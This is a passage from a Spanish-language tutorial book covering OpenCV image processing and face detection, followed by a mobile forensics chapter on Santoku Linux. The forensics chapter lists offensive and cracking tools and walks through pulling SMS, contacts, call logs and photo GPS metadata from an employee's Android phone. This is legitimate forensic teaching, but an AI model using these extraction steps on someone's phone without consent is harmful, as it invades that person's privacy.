import numpy as np
img = cv2.imread('imagen.jpg')
rows,cols = img.shape[:2]
M = np.float32([[1,0,210],[0,1,20]])
des = cv2.warpAffine(img,M,(cols,rows))
cv2.imshow('Desplazamiento',des)
cv2.waitKey(0)
cv2.destroyAllWindows()
```

Notebook: Jupyter

7.1.7 Rotación de imágenes

La rotación de una imagen, en un cierto ángulo θ, se logra aplicando la siguiente matriz de transformación:

$$M = \begin{bmatrix} cos\theta & -sin\theta \\ sin\theta & cos\theta \end{bmatrix}$$

Sin embargo, OpenCV permite además personalizar más la rotación multiplicando por un factor de escala. Por otra parte, también permite cambiar el centro de rotación. La matriz de transformación modificada, con estas dos nuevas opciones, tiene la forma:

$$\begin{bmatrix} \alpha & \beta & (1-\alpha)\cdot center.x - \beta\cdot center.y \\ -\beta & \alpha & \beta\cdot center.x + (1-\alpha)\cdot center.y \end{bmatrix}$$
$$\alpha = scale\cdot\cos\theta,$$
$$\beta = scale\cdot\sin\theta$$

Para encontrar esta matriz de transformación, OpenCV proporciona la función cv2.getRotationMatrix2D. Compruebe a continuación un ejemplo en el cual se gira la imagen 45 grados con respecto al centro sin aplicar ningún factor de escala.

A continuación mostramos un ejemplo:

```
import cv2
import numpy as np
img = cv2.imread('imagen.jpg')
rows,cols = img.shape[:2]
M = cv2.getRotationMatrix2D((cols,rows),45,1)
dst = cv2.warpAffine(img,M,(cols,rows))
cv2.imshow('Rotacion', img_rotation)
cv2.waitKey()
```

7.1.8 Utilizando la Cámara

Usando la biblioteca OpenCV podemos acceder a la cámara web o cualquier otro dispositivo de captura que tengamos instalado en nuestro sistema, cada una de las imágenes capturadas podrán almacenarse para su análisis o procesamiento en tiempo real si así lo deseamos, tenemos disponible una clase que nos servirá para guardar los videos previamente capturados y procesados, el formato de almacenamiento depende de las características habilitadas, pero puede ser MP4, AVI, WMV, etc., y otros si tenemos los códecs.

Camara1.ipynb

```
import cv2
camara = cv2.VideoCapture(0)
while True:
    ret,frame = camara.read()
    cv2.imshow('webcam', frame)
    if cv2.waitKey(1)&0xFF == ord('q'):
        break
camara.release()
cv2.destroyAllWindows()
```

Notebook: Jupyter

7.1.9 Histograma de Imagen

Puede considerar el histograma como un gráfico o trama, que le da una idea general sobre la distribución de intensidad de una imagen. Es un diagrama con valores de píxeles (que van de 0 a 255, no siempre) en el eje X y el número correspondiente de píxeles en la imagen en el eje Y.

Para el calculo de histogramas OpenCV nos proporciona la función cv2.calcHist() para dicho propósito, esta se define de la siguiente manera:

cv2.calcHist(images, channels, mask, histSize, ranges[, hist[, accumulate]]

Debemos indicar los siguientes parámetros:

- **images:** imagen de estrada, puede ser a escala de grises o colores.
- **channels:** índice de canal para el cual deseamos calcular el histograma, en una imagen a escala de grises [0], si la imagen es a colores podemos indicar [0], [1], [2] para los canales B, G, R respectivamente.

- **mask:** máscara que define la región sobre la que deseamos calcular el histograma, es opcional.
- **histSize:** intensidad máxima, para nosotros [256].
- **ranges:** nuestro rango de valores, usaremos [0, 256].

Dibujaremos la gráfica del histograma usando la librería matplotlib en gris y color:

MayorIntesidaddecolor1gris .ipynb

```
import cv2
import numpy as np
from matplotlib import pyplot as plt
#cv2.IMREAD_GRAYSCALE: carga la imagen en modo de escala de grises
img = cv2.imread('imagen2.jpg', cv2.IMREAD_GRAYSCALE)
#cv2.imshow() para mostrar una imagen en una ventana
cv2.imshow('imagen2.jpg', img)
"""
cv2.calcHist(images, channels, mask, histSize, ranges[, hist[, accumulate]]
1.-images: imagen de estrada, puede ser a escala de grises o colores.
2- channels: índice de canal para el cual deseamos calcular el histograma, en
una imagen a escala de grises [0],
si la imagen es a colores podemos indicar [0], [1], [2] para los canales B, G, R
respectivamente.
3.-mask: mascara que define la región sobre la que deseamos calcular el histogra-
ma, es opcional.
4.-histSize: intensidad máxima, para nosotros [256].
5.-ranges: nuestro rango de valores, usaremos [0, 256]
"""
hist = cv2.calcHist([img], [0], None, [256], [0, 256])
#color gris
plt.plot(hist, color='gray' )
#etiqueta del eje X
plt.xlabel('intensidad de iluminacion')
#etiqueta del eje X
plt.ylabel('cantidad de pixeles')
#muestra el histograma
plt.show()
#destruye las ventanas
cv2.destroyAllWindows()
```

Notebook: Jupyter

MayorIntesidaddecolor1color.ipynb

```
import cv2
import numpy as np
from matplotlib import pyplot as plt
#cv2.IMREAD_GRAYSCALE: carga la imagen
img = cv2.imread('imagen.jpg')
#cv2.imshow() para mostrar una imagen en una ventana
cv2.imshow('imagen.jpg', img)
```

```
#canal: b=azul , g=verde , r=azul
color = ('b','g','r')
#recorrido por cada canal
for i, c in enumerate(color):
    """
    cv2.calcHist(images, channels, mask, histSize, ranges[, hist[, accumulate]]
    1.-images: imagen de estrada, puede ser a escala de grises o colores.
    2- channels: índice de canal para el cual deseamos calcular el histograma,
en una imagen a escala de grises [0],
    si la imagen es a colores podemos indicar [0], [1], [2] para los canales B,
G, R respectivamente.
    3.-mask: mascara que define la región sobre la que deseamos calcular el his-
tograma, es opcional.
    4.-histSize: intensidad máxima, para nosotros [256].
    5.-ranges: nuestro rango de valores, usaremos [0, 256]
    """
    hist = cv2.calcHist([img], [i], None, [256], [0, 256])
    #color = c
    plt.plot(hist, color = c)
    #establece límites x de los ejes actuales
    plt.xlim([0,256])
#muestra el histograma
plt.show()
#destruye las ventanas
cv2.destroyAllWindows()
```

Notebook: Jupyter

7.1.10 Ecualización de histogramas

Un histograma es una representación gráfica de la distribución de los niveles de grises en una imagen, utilizando el método de Ecualización de Histogramas podemos obtener una distribución uniforme de los distintos niveles de intensidad, se utiliza esta técnica para mejorar el contraste de una imagen.

Para aplicar la ecualización de histograma OpenCV nos provee la función:

```
cv2.equalizeHist(src)
```

ecualizacion1.ipynb

```
import cv2
import numpy as np
from matplotlib import pyplot as plt
img = cv2.imread('imagen2.jpg',0)
img = cv2.equalizeHist(img)
cv2.imshow('Histogramas', img)
cv2.waitKey()
hist,bins = np.histogram(img.flatten(),256,[0,256])
cdf = hist.cumsum()
cdf_normalized = cdf * hist.max()/ cdf.max()
```

```
plt.plot(cdf_normalized, color = ‘b’)
plt.hist(img.flatten(),256,[0,256], color = ‘r’)
plt.xlim([0,256])
plt.legend((‘cdf’,’histogram’), loc = ‘upper left’)
plt.show()
```

```
import cv2
import numpy as np
from matplotlib import pyplot as plt

img = cv2.imread('imagen2.jpg',0)

img = cv2.equalizeHist(img)
cv2.imshow('Histogramas', img)


hist,bins = np.histogram(img.flatten(),256,[0,256])

cdf = hist.cumsum()
cdf_normalized = cdf * hist.max()/ cdf.max()

plt.plot(cdf_normalized, color = 'b')
plt.hist(img.flatten(),256,[0,256], color = 'r')
plt.xlim([0,256])
plt.legend(('cdf','histogram'), loc = 'upper left')
plt.show()

cv2.waitKey()
```

Notebook: Jupyter

7.1.11 Convolución de imágenes

Un filtro de imagen es un procedimiento que se aplica a una imagen para resaltar o mejorar algunas características de la misma. Para lograr esto se modifica la matriz que compone la imagen aplicándole un determinado procedimiento, en este tutorial estudiaremos el procedimiento llamado convolución de matrices.

OpenCV cuenta con gran variedad de función que aplican los distintos filtros más comunes, estos.

1	-2	1
2	-4	2
1	-2	1

A continuación, algunos ejemplos:

```
import cv2
import numpy as np
img = cv2.imread('imagen2.jpg')
rows, cols = img.shape[:2]
kernel_identity = np.array([[0,0,0], [0,1,0], [0,0,0]])
kernel_3x3 = np.ones((3,3), np.float32) / 9.0
kernel_5x5 = np.ones((5,5), np.float32) / 25.0
cv2.imshow('Original', img)
output = cv2.filter2D(img, -1, kernel_identity)
cv2.imshow('Filtro de Identidad', output)
output = cv2.filter2D(img, -1, kernel_3x3)
cv2.imshow('Filtro de 3x3 ', output)
output = cv2.filter2D(img, -1, kernel_5x5)
cv2.imshow('Filtro de 5x5', output)
cv2.waitKey(0)
```

Notebook: Jupyter

7.1.12 Detección de rostros usando Haar Cascades

Detección de objetos usando clasificadores en cascada basados en características de Haar es un método efectivo de detección de objetos propuesto por Paul Viola y Michael Jones en su documento, "Detección rápida de objetos usando una cascada potenciada de características simples" en 2001. Es un enfoque de aprendizaje automático donde la función de cascada está entrenada a partir de muchas imágenes positivas y negativas. Luego se usa para detectar objetos en otras imágenes.

Aquí trabajaremos con detección de rostros. Inicialmente, el algoritmo necesita muchas imágenes positivas (imágenes de caras) e imágenes negativas (imágenes sin caras) para entrenar al clasificador. Entonces necesitamos extraer características de él. Para esto, se utilizan las características de haar que se muestran en la imagen a continuación. Son como nuestro kernel convolucional. Cada característica es un valor único que se obtiene al restar la suma de píxeles en el rectángulo blanco de la suma de píxeles en el rectángulo negro.

Ahora todos los tamaños y ubicaciones posibles de cada kernel se usan para calcular muchas características. (Imagínese cuánto cálculo necesita, incluso una ventana de 24x24 da como resultado más de 160 000 características). Para cada cálculo de características, necesitamos encontrar la suma de píxeles en rectángulos blanco y negro. Para resolver esto, introdujeron las imágenes integrales. Simplifica el cálculo de la suma de píxeles, qué tan grande puede ser el número de píxeles, a una operación que involucra solo cuatro píxeles. Bien, ¿verdad? Hace que las cosas sean súper rápidas.

Pero entre todas estas características que calculamos, la mayoría de ellas son irrelevantes. Por ejemplo, considere la imagen a continuación. La fila superior muestra dos buenas características. La primera característica seleccionada parece

enfocarse en la propiedad de que la región de los ojos a menudo es más oscura que la región de la nariz y las mejillas. La segunda característica seleccionada se basa en la propiedad de que los ojos son más oscuros que el puente de la nariz. Pero las mismas ventanas que se aplican en las mejillas o en cualquier otro lugar son irrelevantes. Entonces, ¿cómo seleccionamos las mejores características de 160 000 + características? Lo consigue Adaboost.

Para esto, aplicamos todas y cada una de las características en todas las imágenes de entrenamiento. Para cada característica, encuentra el mejor umbral que clasificará las caras en positivas y negativas. Pero, obviamente, habrá errores o clasificaciones erróneas. Seleccionamos las características con una tasa de error mínima, lo que significa que son las características que mejor clasifican la cara y las imágenes que no son caras (el proceso no es tan simple como esto. Cada imagen recibe el mismo peso al principio. Después de cada clasificación, se aumentan los pesos de las imágenes mal clasificadas. Luego, se repite el mismo proceso. Se calculan nuevas tasas de error. También se generan nuevos pesos, el proceso continúa hasta que se alcanza la precisión requerida o la tasa de error o se encuentra el número requerido de características).

El clasificador final es una suma ponderada de estos clasificadores débiles. Se llama débil porque solo no puede clasificar la imagen, pero junto con otros forma un clasificador fuerte. El documento dice que incluso 200 características proporcionan detección con 95% de precisión. Su configuración final tenía alrededor de 6000 características. (Imagine una reducción de 160 000 + características a 6 000 características. Eso es una gran ganancia).

Entonces ahora toma una imagen. Tome cada ventana de 24x24. Aplicarle 6 000 funciones. Verifica si es cara o no. Guau .. Guau .. ¿No es un poco ineficiente y consume mucho tiempo? Sí lo es. Los autores tienen una buena solución para eso.

En una imagen, la mayor parte de la región de la imagen es una región sin cara. Entonces, es una mejor idea tener un método simple para verificar si una ventana no es una región de la cara. Si no es así, deséchelo en una sola toma. No lo proceses de nuevo.

En lugar de enfocarse en la región donde puede haber una cara. De esta forma, podemos encontrar más tiempo para verificar una posible región de la cara.

Para esto, introdujeron el concepto de cascada de clasificadores . En lugar de aplicar todas las características de 6 000 en una ventana, agrupe las funciones en diferentes etapas de clasificadores y aplíquelas una a una (normalmente, las primeras etapas contendrán una cantidad de funciones muy inferior). Si una ventana falla la primera etapa, deséchela. No consideramos las características restantes en él. Si pasa, aplique la segunda etapa de características y continúe el proceso. La ventana que pasa todas las etapas es una región de la cara. ¿Cómo está el plan?

El detector de autores tenía más de 6 000 características con 38 etapas con 1, 10, 25, 25 y 50 características en las primeras cinco etapas. (En realidad, se obtienen dos características en la imagen de arriba como las dos mejores características de Adaboost). Según los autores, en promedio, se evalúan 10 características de más de 6 000 + por subventana.

Así que esta es una explicación intuitiva simple de cómo funciona la detección de rostros Viola-Jones. Lea el documento para obtener más detalles o consulte las referencias en la sección Recursos adicionales.

7.1.13 Detección de Haar-Cascade en OpenCV

OpenCV viene con un entrenador y un detector. Si quieres entrenar a tu propio clasificador para cualquier objeto como auto, aviones, etc. puedes usar OpenCV para crear uno. Sus detalles completos se dan aquí: Capacitación de clasificador en cascada.

Aquí trataremos con la detección. OpenCV ya contiene muchos clasificadores pre-entrenados para la cara, los ojos, la sonrisa, etc. Esos archivos XML se almacenan en una opencv/data/haarcascades/carpeta. Vamos a crear un detector de rostros y ojos con OpenCV.

Primero tenemos que cargar los clasificadores XML requeridos. Luego cargue nuestra imagen de entrada (o video) en el modo de escala de grises.

```
import numpy as np
import cv2
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
eye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml')
img = cv2.imread('sachin.jpg')
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
```

Ahora encontramos las caras en la imagen. Si se encuentran caras, devuelve las posiciones de las caras detectadas como Rect (x, y, w, h). Una vez que tenemos estos lugares, podemos crear un ROI para la cara y aplicar la detección de ojos en este ROI (¡¡¡ya que los ojos siempre están en la cara !!!).

```
faces = face_cascade.detectMultiScale(gray, 1.3, 5)
for (x,y,w,h) in faces:
    img = cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
    roi_gray = gray[y:y+h, x:x+w]
    roi_color = img[y:y+h, x:x+w]
    eyes = eye_cascade.detectMultiScale(roi_gray)
    for (ex,ey,ew,eh) in eyes:
        cv2.rectangle(roi_color,(ex,ey),(ex+ew,ey+eh),(0,255,0),2)
cv2.imshow('img',img)
cv2.waitKey(0)
cv2.destroyAllWindows()
```

Ahora ejecutamos el código anterior:

Deteccion1.ipynb

```
import numpy as np
import cv2
#cargamos los clasificadores requeridos
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_alt.xml')
#utilizamos la camara 1
cap = cv2.VideoCapture(0)
while(True):
    #lee el objeto de la camara
    ret, img = cap.read()
    #convertimos la imagen a blanco y negro
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    #buscamos las coordenadas de los rostros
    faces = face_cascade.detectMultiScale(gray, 1.3, 5)
    #Dibujamos un rectangulo en las coordenadas de cada rostro
    for (x,y,w,h) in faces:
        cv2.rectangle(img,(x,y),(x+w,y+h),(125,255,0),2)
    #Mostramos la imagen
    cv2.imshow('img',img)
    #con la tecla 'q' salimos del programa
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
```

jupyter deteccion1 Last Checkpoint: hace 8 minutos (autosaved)

File Edit View Insert Cell Kernel Widgets Help

Run Code

In [*]:
```
import numpy as np
import cv2
#cargamos la plantilla e inicializamos la webcam:
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_alt.xml')
cap = cv2.VideoCapture(0)
while(True):
    #leemos un frame y lo guardamos
    ret, img = cap.read()
    #convertimos la imagen a blanco y negro
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    #buscamos las coordenadas de los rostros
    faces = face_cascade.detectMultiScale(gray, 1.3, 5)
    #Dibujamos un rectangulo en las coordenadas de cada rostro
    for (x,y,w,h) in faces:
        cv2.rectangle(img,(x,y),(x+w,y+h),(125,255,0),2)
    #Mostramos la imagen
    cv2.imshow('img',img)
    #con la tecla 'q' salimos del programa
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
```

Notebook: Jupyter

8

FORENSE

8.1 FORENSE MÓVIL

8.1.1 Qué es Santoku

Santoku Community Edition es un proyecto de colaboración para ofrecer un entorno pre configurado Linux con utilidades orientada al Análisis Forense Móvil.

Este programa es de gran ayuda si estamos interesados en la investigación de la seguridad móvil, pruebas o ciencia forense. Se necesita una gran cantidad de herramientas, las cuales están en Santoku. El objetivo es acelerar el proceso cuando hagamos este tipo de trabajo.

La palabra santoku se traduce libremente como:"tres virtudes" o "tres usos".

Santoku Linux fue creado para el apoyo de las siguientes iniciativas:

8.1.2 Herramientas para analizar datos

- Herramientas Firmware flashing para múltiples fabricantes.
- Herramientas para NAND, media cards y RAM.
- Versiones libres de algunas Herramientas Forenses Comerciales.

8.1.3 Herramientas para el análisis de código malicioso

- Mobile device emulators.
- Utilities to simulate network services for dynamic analysis.
- Decompilation and disassembly tools.
- Access to malware databases.

8.1.4 Evaluación de aplicaciones móviles

- Herramientas de de compilación y desmontaje.
- Scripts para detectar problemas comunes en aplicaciones móviles.
- Scripts para desencriptar archivos binarios, distribución de apps y descripción de datos de Apps.

8.1.5 Herramientas

En esta sección se presenta la lista de herramientas de Santoku-Linux, organizadas por categorías, tal y como aparecen en la web oficial, sin embargo, solo se hará el detalle de las herramientas más interesantes relacionadas a móviles.

8.1.6 Herramientas de desarrollo

- Android SDK Manager.
- AXMLPrinter2.
- Fastboot.
- Heimdall.
- Heimdall (GUI).
- SBF Flash.
- Testing de penetración.
- Burp Suite.
- Ettercap.
- Mercury.
- Nmap.
- OWASP ZAP.
- SSL Strip.
- W3af (Console).
- W3af (GUI).
- Zenmap (as root).

8.1.7 Analizadores de redes inalámbricas

- Chaosreader.
- Nschef.
- DSniff.
- TCPDUMP.
- Wireshark.
- Wireshark (as root).
- Forénsica de dispositivos móviles.
- AFLogical Open Source Edition.
- Android Brute Force Encryption.
- ExifTool.
- iPhone Backup Analyzer (GUI).
- Libimobiledevice.
- Scalpel.
- Sleuth Kit.

8.1.8 Ingeniería inversa

- Androguard.
- Antilvl.
- APK Tool.
- Baksmali.
- Dex2Jar.
- Jasmin.
- JD-GUI.
- Mercury.
- Radare2.
- Smali.

8.1.9 Requerimientos

- Santoku – Alpha 0.1 (or later).

Virtual Box ó VMWare Player - Máquina Virtual con las siguientes especificaciones:

- Procesador dual-core o más.
- Memoria real de 2 GB o más.
- Disco duro de 40 GB (libres) o más.

8.1.10 Instalación

- Máquina Virtual.
- Descargar e instalar el VistualBox de la siguiente URL:

  https://www.virtualbox.org/wiki/Downloads

- Santoku:

  Descargar Santoku de la siguiente URL:

  https://santoku-linux.com/download

Ahora vamos al icono de VirtualBox y hacemos doble clic:

Presionamos el botón New (Nuevo).

En el paso por el asistente, cree un nombre para la máquina virtual y seleccione el sistema operativo.

En la ventana siguiente le daremos el espacio que queramos que tenga en el disco duro nuestra máquina virtual. Presionamos el botón Next.

Creamos una nueva máquina virtual y presionar el botón Create.

A la ventana siguiente le daremos el espacio que queramos que tenga en el disco duro nuestra máquina virtual. Presionamos el botón Next.

Tamaño fijo. Presionamos el botón Create.

Debemos separar aproximadamente 20 gb. Presionamos el botón Next.

Tamaño fijo. Presionamos el botón Forense.

Ubicamos la unidad:

Indicamos la imagen y presionamos el botón Start.

Seleccionamos Live – Boot the Live System.

Iniciando Lubuntu.

Es importante tener en cuenta cómo un dispositivo Android en realidad se conecta a una máquina virtual. Los Dispositivos Android, hasta la fecha, tiene una interfaz USB físico que les permita conectar, compartir datos y recursos, y por lo general para recargar desde un ordenador o estación de trabajo. Si solo está ejecutando un solo sistema operativo, el dispositivo USB, deberá tener detectado y accesible. Sin embargo, la configuración adicional o controladores podrían estar requerida. Si está ejecutando una máquina virtual, sin embargo, usted simplemente desea que el sistema operativo anfitrión a pasar la conexión a través de la máquina virtual. Por ejemplo, si es tu sistema operativo anfitrión OS X y está ejecutando VMware Fusion, se seleccionan los menús de Virtual Machine/USB y luego conectar el dispositivo (High teléfono Android en este caso), como se muestra en La figura. 3.25. Del mismo modo, cuando el sistema operativo anfitrión es Linux, y está ejecutando la máquina virtual mediante VirtualBox Oracle, primero debe asegurarse de que usted es un miembro de las usbusers grupo. Por lo tanto, desde una sesión de terminal, ejecute lo siguiente:

8.1.11 AFLogical OSE

Activar USB debugging en tu dispositivo. Para Android 3.x y inferior, ir a Settings –> Applications –> Development, activar 'USB debugging'.

En Android 4.x y superior ir a Settings –> Developer Options, activar check 'USB debugging'.

```
santoku@santoku: ~
File Edit Tabs Help
$ aflogical-ose -h

run 'aflogical-ose' with usb debugging enabled in your android device

santoku@santoku:~$ aflogical-ose
Make sure android device is connected to USB

202 KB/s (28794 bytes in 0.139s)
Failure [INSTALL_FAILED_ALREADY_EXISTS: Attempt to re-install com.viaforensics.a
ndroid.aflogical_ose without first uninstalling.]

Starting: Intent { cmp=com.viaforensics.android.aflogical_ose/com.viaforensics.a
ndroid.ForensicsActivity }

Press enter to pull /sdcard/forensics into ~/aflogical-data/

pull: building file list...
pull: /sdcard/forensics/20171020.2053/Contacts Phones.csv -> /home/santoku/aflog
ical-data/20171020.2053/Contacts Phones.csv
pull: /sdcard/forensics/20171020.2053/CallLog Calls.csv -> /home/santoku/aflogic
al-data/20171020.2053/CallLog Calls.csv
pull: /sdcard/forensics/20171020.2053/MMSParts.csv -> /home/santoku/aflogical-da
ta/20171020.2053/MMSParts.csv
pull: /sdcard/forensics/20171020.2053/SMS.csv -> /home/santoku/aflogical-data/20
```

8.1.12 Extrayendo Información del dispositivo

Observamos en el dispositivo móvil.

Forense [Comando] - Oracle VM VirtualBox
Archivo Máquina Ver Entrada Dispositivos Ayuda
aflogical-data
File Edit View Bookmarks Go Tools Help
/home/santoku/aflogical-data
Places
Home Folder
Desktop
Trash Can
Applications
Documents
Music
Pictures
Videos
Downloads
20171020.2053
20171020.2055
20171028.2259
20171028.2310
20171028.2320
20171107.1218
20171107.1807
20171107.1814
20171107.2023
20171108.1028
20171108.1114
20171108.1116
20171109.1026
20171109.1031
20171109.1137
20171112.1720
20171113.1811
20171113.1817
20180315.1854
CTRL DERECHA

Forense [Comando] - Oracle VM VirtualBox
Archivo Máquina Ver Entrada Dispositivos Ayuda
20180315.1854
File Edit View Bookmarks Go Tools Help
/home/santoku/aflogical-data/20180315.1854
Places
Home Folder
Desktop
Trash Can
Applications
Documents
Music
Pictures
Videos
Downloads
CallLog Calls.csv
Contacts Phones.csv
info.xml
MMS.csv
MMSParts.csv
SMS.csv
6 items
CTRL DERECHA

8.1.13 Aplicación

Pablo Gerente de Logística de La Minera XYZ perteneciente a la mediana minería y Alex proveedor de insumos químicos de la Minera posee una relación de amistad, debido a la disminución de Precios de los Metales la compañía necesita ser más competitiva para ellos es necesario poseer ventaja comparativa y competitiva en la búsqueda de la misma la Gerencia General requiere disminuir sus costos.

Debido a rumores sobre la amistad del proveedor con el Gerente de Logística y preferencias, llego a oídos del Gerente General que esta amistad va más allá y que El proveedor de insumos y el Gerente de logística realizan algunos viajes al exterior de placer.

Dado los hechos ocurridos y una denuncia anónima sobre la honradez del gerente de logística, la gerencia general a través del equipo de Mobile Forensics realizara una auditoria, el gerente de logística declara que no posee ninguna amistad con el proveedor. Se le solicita a dicho gerente que entregue el *smartphone* designado por la CIA.

El Smartphone posee las siguientes características:

	Samsung Galaxy S6
Display	5.1-inch Super AMOLED 2560 x 1440 resolution, 577 ppi
Processor	Exynos 7420
RAM	3 GB
Storage	32/64/128 GB
Camera	16 MP rear camera with OIS 5 MP front-facing camera with 90 degree wide angle lens
Connectivity	WiFi a/b/g/n/ac Bluetooth 4.1, NFC, GPS+GLONASS
Networks	LTE cat 6 300/50
Battery	2,550 mAh Fast charging WPC and PMA-compatible wireless charging
Software	Android 5.0 Lollipop
Dimensions	143.4 x 70.5 x 6.8 mm 138 grams
Colors	Black, white, gold, blue

El dispositivo móvil es llevado al laboratorio de Mobile Forensics en una bolsa de Faraday para evitar que reciba cualquier tipo de llamada.

8.1.14 Herramientas- AFLogical OSE

- Debido a las prestaciones que tiene para hacer de manera sencilla una evaluación forense básica de dispositivos móviles con SO Android
- Y la segunda ExifTool, que nos permitirá averiguar la ubicación en la que se han tomado ciertas fotos

8.1.15 Proceso

Extracción de información del *smartphone* mensajes o logs de llamada, procederemos a utilizar la herramienta AF Logical OSE. Para utilizar esta herramienta se debe de contar con el Depuramiento USB activado en el teléfono a analizar.

Al ejecutar la herramienta se muestra la ventana de comandos con el aviso de contar la depuración USB activada.

Escribimos el comando aflogical-ose y presionamos Enter.

```
santoku@santoku: ~
File  Edit  Tabs  Help
$ aflogical-ose -h

run 'aflogical-ose' with usb debugging enabled in your android device

santoku@santoku:~$ aflogical-ose
Make sure android device is connected to USB

170 KB/s (28794 bytes in 0.164s)
        pkg: /data/local/tmp/AFLogical-OSE_1.5.2.apk
Success

Starting: Intent { cmp=com.viaforensics.android.aflogical_ose/com.viaf
ndroid.ForensicsActivity }

Press enter to pull /sdcard/forensics into ~/aflogical-data/
```

Se nos pedirá el password que debemos de ingresar y presionamos Enter. Una vez hecho esto la aplicación de AF Logical OSE será enviada al teléfono en investigación.

```
rodrigo@rodrigo-virtual-machine: ~
File  Edit  Tabs  Help
$ aflogical-ose -h

run 'aflogical-ose' with usb debugging enabled in your android device

rodrigo@rodrigo-virtual-machine:~$ aflogical-ose
Make sure android device is connected to USB
[sudo] password for rodrigo:
[sudo] password for rodrigo:

551 KB/s (28794 bytes in 0.050s)
        pkg: /data/local/tmp/AFLogical-OSE_1.5.2.apk
Success
```

La herramienta seguirá trabajando hasta que nos pide presionar Enter para extraer los datos recuperados desde la aplicación en el teléfono.

```
rodrigo@rodrigo-virtual-machine: ~
File  Edit  Tabs  Help
$ aflogical-ose -h

run 'aflogical-ose' with usb debugging enabled in your android device

rodrigo@rodrigo-virtual-machine:~$ aflogical-ose
Make sure android device is connected to USB
[sudo] password for rodrigo:
[sudo] password for rodrigo:

551 KB/s (28794 bytes in 0.050s)
        pkg: /data/local/tmp/AFLogical-OSE_1.5.2.apk
Success

Starting: Intent { cmp=com.viaforensics.android.aflogical_ose/com.viaforensics.a
ndroid.ForensicsActivity }

Press enter to pull /sdcard/forensics into ~/aflogical-data/
```

Se mostrará la lista de archivos recuperados.

```
al-data/20170708.1354/CallLog Calls.csv
pull: /sdcard/forensics/20170708.1354/infc
0170708.1354/info.xml
pull: /sdcard/forensics/20170708.1359/SMS.
170708.1359/SMS.csv
pull: /sdcard/forensics/20170708.1359/Cont
ical-data/20170708.1359/Contacts Phones.cs
pull: /sdcard/forensics/20170708.1359/MMSF
ta/20170708.1359/MMSParts.csv
pull: /sdcard/forensics/20170708.1359/MMS.
170708.1359/MMS.csv
pull: /sdcard/forensics/20170708.1359/Call
al-data/20170708.1359/CallLog Calls.csv
pull: /sdcard/forensics/20170708.1359/infc
0170708.1359/info.xml
72 files pulled. 0 files skipped.
226 KB/s (3548463 bytes in 15.294s)
```

Una vez concluida la extracción de información del teléfono procederemos a analizar las fotos que se encontraban en el dispositivo utilizando la herramienta.

8.1.16 EXIFTool

Se abrirá la ventana de comandos en donde debemos de escribir **exiftool [nombre del archivo]**.

Ahora analizaremos la siguiente imagen:

Utilizamos el comando ls para visulizar las carpetas.

```
santoku@santoku: ~
File  Edit  Tabs  Help
2017-07-08-204119_1024x768_scrot.png
2017-07-08-204120_1024x768_scrot.png
2017-07-08-204121_1024x768_scrot.png
2017-07-08-204122_1024x768_scrot.png
2017-07-08-204123_1024x768_scrot.png
2017-07-08-204124_1024x768_scrot.png
2017-07-08-204125_1024x768_scrot.png
2017-07-08-205838_1024x768_scrot.png
aflogical-data
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
```

Una vez hecho esto obtendremos toda la información de la fotografía.

```
santoku@santoku: ~/Desktop
File  Edit  Tabs  Help
2017-07-08-204122_1024x768_scrot.png
2017-07-08-204123_1024x768_scrot.png
2017-07-08-204124_1024x768_scrot.png
2017-07-08-204125_1024x768_scrot.png
2017-07-08-205838_1024x768_scrot.png
aflogical-data
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
santoku@santoku:~$ cd Desktop
santoku@santoku:~/Desktop$ exiftool imagen.jpg
```

```
santoku@santoku: ~/Desktop
File  Edit  Tabs  Help
santoku@santoku:~$ cd Desktop
santoku@santoku:~/Desktop$ exiftool imagen.jpg
ExifTool Version Number         : 9.46
File Name                       : imagen.jpg
Directory                       : .
File Size                       : 2039 kB
File Modification Date/Time     : 2017:07:08 21:06:35+02
:00
File Access Date/Time           : 2017:07:08 21:06:33+02
:00
File Inode Change Date/Time     : 2017:07:08 21:06:54+02
:00
File Permissions                : rwxr-----
File Type                       : JPEG
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel,
II)
Make                            : SAMSUNG
Camera Model Name               : SGH-I337M
Orientation                     : Rotate 90 CW
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : I337MUMUEMK6
Modify Date                     : 2017:04:21 11:24:30
Y Cb Cr Positioning             : Centered
Exposure Program                : Program AE
Exif Version                    : 0220
Date/Time Original              : 2017:04:21 11:24:30
Create Date                     : 2017:04:21 11:24:30
Components Configuration        : Y, Cb, Cr, -
Metering Mode                   : Center-weighted averag
e
Maker Note Version              : 0100
```

8.1.17 Resultados

La información extraída nos ha sido de utilidad para poder determinar que existe una relación entre el Gerente de Logística y el proveedor comprobado a través del análisis de los mensajes de texto en el cual se habla de posibles viajes financiados por el proveedor.

Se comprobó luego de analizar las etiquetas GPS de las fotografías que fueron encontradas en el dispositivo del gerente de logística, con lo cual se puede asegurar de que sí existía una relación con el proveedor.

Los resultados fueron presentados a la gerencia general la cual tomará la decisión de tomar acciones legales contra el gerente de logística.

NOTAS

Santoku es una distribución linux con amplias prestaciones para forense móvil, y con una amplia gama de herramientas para establecer o dar acciones en tu móvil según lo conveniente.

Para un uso y ejecución más sencilla y rápida de Santoku es recomendable hacerlo en una máquina virtual ya sea en VMWARE u otro según el criterio del usuario. Sin embargo si se requiere usar todo el poder de procesamiento del equipo es mejor instalarlo en forma nativa dentro de una partición del disco real.

Las herramientas de Santoku pueden ser usadas para el bien, como en el caso práctico presentado, o también para el mal, ya que hay algunas que ayudan a crackear aplicaciones.

8.1.18 Otras Herramientas: Nmap

Nmap (Network Mapper, mapeador de redes) es una utilidad para la exploración y auditoría de seguridad de redes TCP/IP. Ha sido diseñado para escanear de forma rápida, sigilosa y eficaz tanto equipos individuales como redes de gran tamaño. Es una herramienta gratuita, de código abierto bajo licencia GPL, bien documentada, multiplataforma, disponible para consola, y que ofrece también una interfaz gráfica para facilitar su uso.

Comenzando a utilizar:

